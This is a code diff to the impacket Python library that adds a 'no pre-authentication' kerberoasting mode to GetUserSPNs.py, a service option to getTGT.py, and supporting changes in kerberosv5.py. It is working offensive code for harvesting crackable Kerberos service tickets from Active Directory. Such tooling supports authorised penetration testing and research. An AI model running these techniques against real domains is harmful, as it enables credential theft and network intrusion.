diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 72427fa01..8b0bc17da 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -43,7 +43,7 @@ from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.krb5 import constants -from impacket.krb5.asn1 import TGS_REP +from impacket.krb5.asn1 import TGS_REP, AS_REP from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5.types import Principal @@ -78,6 +78,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption self.__targetDomain = target_domain self.__lmhash = '' self.__nthash = '' + self.__no_preauth = cmdLineOptions.no_preauth self.__outputFileName = cmdLineOptions.outputfile self.__usersFile = cmdLineOptions.usersfile self.__aesKey = cmdLineOptions.aesKey @@ -173,9 +174,11 @@ def getTGT(self): return TGT - def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): - decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - + def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None): + if self.__no_preauth: + decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0] + else: + decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0] # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { @@ -240,7 +243,7 @@ def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): logging.debug('About to save TGS for %s' % username) ccache = CCache() try: - ccache.fromTGS(tgs, oldSessionKey, sessionKey) + ccache.fromTGS(ticket, oldSessionKey, sessionKey) ccache.saveFile('%s.ccache' % username) except Exception as e: logging.error(str(e)) @@ -428,31 +431,52 @@ def request_users_file_TGSs(self): self.request_multiple_TGSs(usernames) def request_multiple_TGSs(self, usernames): - # Get a TGT for the current user - TGT = self.getTGT() - if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None - - for username in usernames: - try: - principalName = Principal() - principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value - principalName.components = [username] - - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, - self.__kdcIP, - TGT['KDC_REP'], TGT['cipher'], - TGT['sessionKey']) - self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) - except Exception as e: - logging.debug("Exception:", exc_info=True) - logging.error('Principal: %s - %s' % (username, str(e))) - - if fd is not None: - fd.close() + + if self.__no_preauth: + for username in usernames: + try: + no_preauth_pincipal = Principal(self.__no_preauth, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=no_preauth_pincipal, + password=self.__password, + domain=self.__domain, + lmhash=(self.__lmhash), + nthash=(self.__nthash), + aesKey=self.__aesKey, + kdcHost=self.__kdcHost, + serverName=username, + kerberoast_no_preauth=True) + self.outputTGS(tgt, oldSessionKey, sessionKey, username, username, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (username, str(e))) + + if fd is not None: + fd.close() + else: + # Get a TGT for the current user + TGT = self.getTGT() + + for username in usernames: + try: + principalName = Principal() + principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value + principalName.components = [username] + + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, + self.__kdcIP, + TGT['KDC_REP'], TGT['cipher'], + TGT['sessionKey']) + self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) + except Exception as e: + logging.debug("Exception:", exc_info=True) + logging.error('Principal: %s - %s' % (username, str(e))) + + if fd is not None: + fd.close() # Process command-line arguments. @@ -466,6 +490,8 @@ def request_multiple_TGSs(self, usernames): parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for Kerberoasting across trusts.') + parser.add_argument('-no-preauth', action='store', help='account that does not require preauth, to obtain Service Ticket' + ' through the AS') parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. ' 'May cause huge memory consumption / errors on large domains.') parser.add_argument('-usersfile', help='File with user per line to test') @@ -510,6 +536,11 @@ def request_multiple_TGSs(self, usernames): # Init the example's logger theme logger.init(options.ts) + if options.no_preauth and options.usersfile is None: + logging.error('You have to specify -usersfile when -no-preauth is supplied. Usersfile must contain' + ' a list of SPNs and/or sAMAccountNames to Kerberoast.') + sys.exit(1) + if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path diff --git a/examples/getTGT.py b/examples/getTGT.py index dfe8b61ed..62ce619de 100755 --- a/examples/getTGT.py +++ b/examples/getTGT.py @@ -42,6 +42,7 @@ def __init__(self, target, password, domain, options): self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip + self.__service = options.service if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -55,9 +56,14 @@ def saveTicket(self, ticket, sessionKey): def run(self): userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, - self.__kdcHost) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName = userName, + password = self.__password, + domain = self.__domain, + lmhash = unhexlify(self.__lmhash), + nthash = unhexlify(self.__nthash), + aesKey = self.__aesKey, + kdcHost = self.__kdcHost, + serverName = self.__service) self.saveTicket(tgt,oldSessionKey) if __name__ == '__main__': @@ -80,6 +86,7 @@ def run(self): '(128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-service', action='store', metavar="SPN", help='Request a Service Ticket directly through an AS-REQ') if len(sys.argv)==1: parser.print_help() diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index 4a8173f30..7821fdf77 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -92,7 +92,7 @@ def sendReceive(data, host, kdcHost, port=88): return r -def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, serverName=None): +def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True, serverName=None, kerberoast_no_preauth=False): # Convert to binary form, just in case we're receiving strings if isinstance(lmhash, str): @@ -119,8 +119,11 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH asReq = AS_REQ() domain = domain.upper() + if serverName is None: serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + else: + serverName = Principal(serverName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC @@ -190,10 +193,10 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, kdcHost) - else: - raise + else: + raise else: - raise + raise # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set @@ -345,7 +348,11 @@ def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcH # probably bad password if preauth is disabled if preAuth is False: error_msg = "failed to decrypt session key: %s" % str(e) - raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) + if kerberoast_no_preauth: + LOG.debug(SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText)) + return tgt, None, key, None + else: + raise SessionKeyDecryptionError(error_msg, asRep, cipher, key, cipherText) raise encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0] @@ -567,10 +574,10 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) - nthash = compute_nthash(password) + nthash = compute_nthash(password) continue else: - raise + raise else: raise @@ -594,22 +601,22 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) - nthash = compute_nthash(password) + nthash = compute_nthash(password) else: - raise + raise else: - raise + raise else: break else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] - sessionKey = TGS['sessionKey'] + sessionKey = TGS['sessionKey'] break # Let's build a NegTokenInit with a Kerberos REQ_AP - blob = SPNEGO_NegTokenInit() + blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] @@ -618,7 +625,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) - + # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 @@ -638,7 +645,7 @@ def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) - + authenticator['cksum'] = noValue authenticator['cksum']['cksumtype'] = 0x8003 @@ -697,7 +704,7 @@ def __init__( self, error = 0, packet=0): self.packet = packet if packet != 0: self.error = self.packet['error-code'] - + def getErrorCode( self ): return self.error